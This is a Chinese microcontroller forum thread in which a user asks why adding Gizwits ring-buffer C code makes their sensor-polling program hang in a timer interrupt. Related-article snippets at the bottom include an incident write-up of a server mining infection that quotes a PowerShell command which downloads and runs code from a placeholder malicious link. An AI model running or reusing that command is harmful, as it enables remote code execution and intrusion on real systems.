社区
单片机/工控
帖子详情
机智云RINGBUFF植入后,程序进入定时器中断就卡死
对方无法输入
2019-04-03 06:33:07
在缓冲数组里读写正常,数据可以正常写入RINGBUFFER,也可以正常从RINGBUFFER读出,哪位大神可以给一点找到错误的思路,感激不尽,已经纠结了三天了。
...全文
117
1
打赏
收藏
机智云RINGBUFF植入后,程序进入定时器中断就卡死
在缓冲数组里读写正常,数据可以正常写入RINGBUFFER,也可以正常从RINGBUFFER读出,哪位大神可以给一点找到错误的思路,感激不尽,已经纠结了三天了。
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
1 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
对方无法输入
2019-04-03
打赏
举报
回复
我的程序主要是,定时器定时,每30S向传感器问询读数,我在数据接收的地方加入了RINGBUFFER(循环缓冲数组)之后进入定时中断,程序就会卡住。我的数据可以正常写入数组,也可以正常从循环缓冲数组中读出。RINGBUFFER主要参考的是机智云的代码;
************************************************************
* @file ringbuffer.c
* @brief Loop buffer processing
* @Author Gizwits
* @date 2017-07-19
* @version V03030000
* @copyright Gizwits
*
* @note Gizwits is only for smart hardware
* Gizwits Smart Cloud for Smart Products
* Links | Value Added | Open | Neutral | Safety | Own | Free | Ecology
* www.gizwits.com
*
***********************************************************/
#include "ringBuffer.h"
#include "common.h"
rb_t DataRecievce;
uint8_t rbBuf[18];
/**********
创建环形缓冲区的函数
********************/
void RingbufferInit(void)
{
DataRecievce.rbCapacity =18;
DataRecievce.rbBuff = rbBuf;
if(0==rbCreate(&DataRecievce))
{
printf ("rbCreate success\n");
}
}
int8_t ICACHE_FLASH_ATTR rbCreate(rb_t* rb)
{
if(NULL == rb)
{
return -1;
}
rb->rbHead = rb->rbBuff;
rb->rbTail = rb->rbBuff;
return 0;
}
/*******
环形缓冲区删除函数
**********/
int8_t ICACHE_FLASH_ATTR rbDelete(rb_t* rb)
{
if(NULL == rb)
{
return -1;
}
rb->rbBuff = NULL;
rb->rbHead = NULL;
rb->rbTail = NULL;
rb->rbCapacity = 0;
return 0;
}
/****
获取环形缓冲区的容量
****/
int32_t ICACHE_FLASH_ATTR rbCapacity(rb_t *rb)
{
if(NULL == rb)
{
return -1;
}
return rb->rbCapacity;
}
/*******
*******/
int32_t ICACHE_FLASH_ATTR rbCanRead(rb_t *rb)
{
if(NULL == rb)
{
return -1;
}
if (rb->rbHead == rb->rbTail)
{
return 0;
}
if (rb->rbHead < rb->rbTail)
{
return rb->rbTail - rb->rbHead;
}
return rbCapacity(rb) - (rb->rbHead - rb->rbTail);
}
int32_t ICACHE_FLASH_ATTR rbCanWrite(rb_t *rb)
{
if(NULL == rb)
{
return -1;
}
return rbCapacity(rb) - rbCanRead(rb);
}
int32_t ICACHE_FLASH_ATTR rbRead(rb_t *rb, void *data, size_t count)
{
int32_t copySz = 0;
if(NULL == rb)
{
return 16;
}
if(NULL == data)
{
return 8;
}
if (rb->rbHead <= rb->rbTail)
{
copySz = min(count, rbCanRead(rb));
memcpy(data, rb->rbHead, copySz);
rb->rbHead += copySz;
return copySz;
}
else
{
if (count < rbCapacity(rb)-(rb->rbHead - rb->rbBuff))
{
copySz = count;
memcpy(data, rb->rbHead, copySz);
rb->rbHead += copySz;
return copySz;
}
else
{
copySz = rbCapacity(rb) - (rb->rbHead - rb->rbBuff);
memcpy(data, rb->rbHead, copySz);
rb->rbHead = rb->rbBuff;
copySz += rbRead(rb, (char*)data+copySz, count-copySz);
return copySz;
}
}
}
//将一定长度的数据(count)从某段地址(data)写入环形缓冲区
int32_t ICACHE_FLASH_ATTR rbWrite(rb_t *rb, const void *data, size_t count)
{
int32_t tailAvailSz = 0;
if((NULL == rb)||(NULL == data))
{
return -1;
}
if (count >= rbCanWrite(rb))
{
return -2;
}
if (rb->rbHead <= rb->rbTail)
{
tailAvailSz = rbCapacity(rb) - (rb->rbTail - rb->rbBuff); //本次可写入的数量=环形数组容量—(尾指针地址-环形数组首地址)
if (count <= tailAvailSz)
{
memcpy(rb->rbTail, data, count);
rb->rbTail += count;
if (rb->rbTail == rb->rbBuff+rbCapacity(rb))
{
rb->rbTail = rb->rbBuff;
}
return count;
}
else
{
memcpy(rb->rbTail, data, tailAvailSz);
rb->rbTail = rb->rbBuff;
return tailAvailSz + rbWrite(rb, (char*)data+tailAvailSz, count-tailAvailSz);
}
}
else
{
memcpy(rb->rbTail, data, count);
rb->rbTail += count;
return count;
}
}
以上是机智云中的RINGBUFFER代码
下面是我向传感器问询及接收应答的代码(部分)
//串口2中断服务程序
void USART2_IRQHandler(void)
{
if((__HAL_UART_GET_FLAG(&huart2,UART_FLAG_RXNE)!=RESET))
{
uart2_buff[uart2_p++] =USART2->DR;//存入数组
}
if((__HAL_UART_GET_FLAG(&huart2,UART_FLAG_IDLE)!=RESET))
{
__HAL_UART_CLEAR_IDLEFLAG(&huart2);
rbWrite(&DataRecievce,uart2_buff,uart2_p); //写入循环缓冲数列
}
}
void getWinddirectionData()
{
AskCmd((u8 *)WinddirectionAsk);
DELAY;
u8 *redata;
//printf("缓冲区可读1:");
//printf("%d",rbCanRead(&DataRecievce));
rbRead(&DataRecievce,redata,7); //从缓冲数组中读出数据
if(crcCheck(redata,7)==1)
{
SensorData.winddirection = (redata[3]<<8 | redata[4] ); //这里我是要保存到结构体中,进行打包,形成报文上传(不会有错误)
//rbDelete(&DataRecievce);
//printf("缓冲区可读0:");
//printf("%d",rbCanRead(&DataRecievce));
}
clean_rebuff2();
}
思路大概就是这样,如果不加缓冲数组没有错误,程序我们也用了很久了;
最近刚了解缓冲数组,想尝试添加,但是程序总是在定时器中断中卡住;
主要是,找不到错误的地方,大神也可以提供一下找错误的思路,谢谢;
记一次解决阿里云服务器被
植入
挖矿病毒
解决阿里云服务器被
植入
挖矿病毒
解决阿里云服务器被
植入
挖矿脚本过程
基于学习的便利性,在阿里云服务中购买了云服务器,但是突然被告警提示被挖矿,而且要在一定期限内解决挖矿问题,否则就会被关停服务,本篇对于其处理过程进行一个记录,可能对于挖矿的处理也不全面,欢迎各路大神进行评论交流。以上就是今天要讲的内容,本文仅仅简单记录了处理服务器挖矿的流程,记录的不全面,欢迎各路大神探讨交流。
服务器是如何被
植入
挖矿
程序
的
首先,攻击者利用Sqlserver应用的弱口令漏洞,并借助Sqlserver自身的命令执行组件执行cmd命令 "C:\Windows\system32\cmd.exe" /c whoami whoami是操作系统中用于查看当前有效用户名的命令 执行ps命令 powershell -c "iex((new-object Net.WebClient).DownloadString('恶意链接'))" or "C:\Windows\system32\cmd.exe" /c powershell -c "iex(
linux服务器被
植入
挖矿病毒后初步解决方案
linux服务器被
植入
挖矿病毒后初步解决方案
黑客借由入侵WordPress网站,使造访者计算机被
植入
恶意的Chrome扩充
程序
近期有800多个WordPress网站遭
植入
恶意
程序
,网络安全业者Avast发现,这是一起复杂的攻击手法,先诱使造访遭入侵网站的用户安装假Java Runtime,最终将安装恶意Chrome扩充
程序
,用以窃取受害者密码、凭证等。 网络安全业者Avast在本周揭露了一起复杂的Chaes金融木马攻击手法,黑客先入侵了800个WordPress网站,再引诱造访相关网站的使用者安装假冒的Java Runtime,进而于Chrome浏览器上
植入
恶意扩充
程序
,目的是为了窃取存放于Chrome上的机密凭证。 目.
单片机/工控
27,375
社区成员
28,770
社区内容
发帖
与我相关
我的任务
单片机/工控
硬件/嵌入开发 单片机/工控
复制链接
扫一扫
分享
社区描述
硬件/嵌入开发 单片机/工控
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章